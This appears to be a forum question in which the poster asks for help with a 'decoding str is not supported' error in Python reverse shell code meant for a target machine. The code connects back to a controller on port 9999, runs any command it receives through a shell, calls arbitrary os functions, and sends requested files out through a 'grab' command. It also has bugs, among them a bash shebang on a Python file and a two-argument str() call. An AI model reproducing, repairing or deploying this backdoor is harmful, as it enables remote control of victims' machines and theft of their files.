decoding str is not supported (Client Server)

I am coding for client Server model (a reverse shell code this is the code for the target) and this is the part of the code( this is function called by another function ) which gives 'decoding str is not supported'. here is the code the FileSender function gets the socket name and file name as input form other the other function (which works perfectly).

#!/bin/bash
from socket import *
from subprocess import *
import os

def FileSender(s,Fname):
    try:
        os.path.exists(Fname)
        TotalSize=str(os.path.getsize(Fname))
        s.send(str("Filesize -",TotalSize).encode('utf-8'))
        r=s.recv(1024)
        resonse=r.decode("utf-8")
        if resonse =="Y":
            f=open(Fname,"rb")
            DatatToBeSent=f.read(1024)
            SentData=DatatToBeSent
            s.send(DatatToBeSent)
            while SentData<TotalSize:
                DatatToBeSent=f.read(1024)
                s.send(DatatToBeSent)
                SentData=DatatToBeSent+SentData


    except Exception as EE:
        s.send(str(EE).encode("utf-8"))



def CallOs(s,task):
    module=__import__("os")
    SP=task.split()
    attribute=SP[0]
    try:
        function=getattr(module,attribute)
        if len(SP)==2:
            value=SP[1]
            try:
                R1=function(value)
                s.send((str(R1)).encode("utf-8"))

            except Exception as E1:
                s.send((str(E1)).encode("utf-8"))

        else:
            try:
                R1=function()
                s.send((str(R1)).encode('utf-8'))
            except Exception as E2:
                s.send((str(E2)).encode("utf-8"))

    except Exception as E3:
        s.send((str(E3)).encode("utf-8"))



def connection():
    s=socket(AF_INET,SOCK_STREAM)
    S_IP=gethostbyname(gethostname())
    #S_IP=''
    S_P=9999
    s.connect((S_IP,S_P))
    while True:
        RM=s.recv(1024)
        command=RM.decode("utf-8")
        if command=="DONE":
            s.close()
            break
        elif command[0]=='*':
            task=command[1:]
            CallOs(s,task)
        elif command[:4]=="grab":
            Fname=command[5:]
            FileSender(s,Fname)

        else:
            process=Popen(command,shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE)
            s.send(process.stdout.read())
            s.send(process.stderr.read())




connection()